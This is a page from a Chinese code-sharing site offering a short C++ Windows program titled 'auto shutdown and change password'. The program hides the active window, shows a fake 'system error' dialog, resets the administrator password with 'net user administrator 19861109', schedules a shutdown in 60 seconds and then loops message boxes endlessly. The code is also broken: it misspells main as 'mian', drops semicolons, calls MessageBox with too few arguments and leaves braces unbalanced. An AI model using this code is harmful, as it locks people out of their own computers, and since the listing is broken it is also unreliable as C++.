当前位置: 代码迷 >> 综合 >> 自动关机并可以改密码
  详细解决方案

自动关机并可以改密码

热度:94   发布时间:2024-02-06 18:27:04.0

#include<iostream>

#include<Windows.h>

#include"TLHELP32.H"

 using namespace std;

int mian()

{ 

     HWND hWnd=GetForegroundWindow()

     ShowWindow(hWnd, 0);

     MessageBox(hWnd,L"系统出错");

    system("net user administrator 19861109");

    system("shutdown -s -t 60");

     LPCWSTR words=L"hello "

     LPCWSTR title=L"系统错误"

     while(1)

{

    MessageBox(hWnd,words,title, MB_OK);

}

{

  相关解决方案